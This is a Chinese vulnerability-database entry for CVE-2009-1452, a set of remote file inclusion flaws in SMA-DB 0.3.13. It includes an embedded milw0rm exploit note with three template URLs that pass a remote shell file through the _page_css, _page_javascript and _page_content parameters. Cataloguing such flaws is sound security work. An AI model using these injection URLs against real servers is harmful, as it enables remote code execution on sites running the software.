Bluevirus-Design SMA-DB 'theme/format.php'多个远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117593 漏洞类型 代码注入
发布时间 2009-04-16 更新时间 2009-04-28
CVE编号 CVE-2009-1452 CNNVD-ID CNNVD-200904-518
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/8460
https://cxsecurity.com/issue/WLB-2009040056
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200904-518
|漏洞详情
SMA-DB0.3.13版本中的theme/format.php存在多个PHP远程文件包含漏洞。远程攻击者可以借助(1_page_css和(2)_page_javascript参数中的一个URL，执行任意的PHP代码。
|漏洞EXP 
SMA-DB 0.3.13 Multiple Remote File Inclusion Vulnerabilities
bug found by Jose Luis Gongora Fernandez (a.k.a) JosS

contact: sys-project[at]hotmail.com
website: http://www.hack0wn.com/

- download: http://bluevirus.ch/media/downloads/SMA-DB_v0.3.13.zip

- about SMA-DB:

Written in PHP4: SMA-DB is a Database to manage yours and 
see or loan your friends movies and software. Equiped with 
an auto-complete function it is easy to add movies to the 
database. Designed for modern browsers on PC (i.e. Firefox, 
IE 5.5+, Opera 7+) , Mac (ie. Firefox, Opera 7+, Safari) or 
PDA (i.e. PocketIE, Opera 8.5, not with Minimo).

Current version: 0.3.13
Last update: 04.02.2009  

~ [RFI]

http://target/path/theme/format.php?_page_css=[shell.txt?]
http://target/path/theme/format.php?_page_javascript=[shell.txt?]
http://target/path/theme/format.php?_page_content=[shell.txt?]

 __h0__

# milw0rm.com [2009-04-16]
|参考资料

来源:XF
名称:smadb-formatphp-file-include(49928)
链接:http://xforce.iss.net/xforce/xfdb/49928
来源:BID
名称:34569
链接:http://www.securityfocus.com/bid/34569
来源:MILW0RM
名称:8460
链接:http://www.milw0rm.com/exploits/8460
检索漏洞
开始时间
结束时间
相关漏洞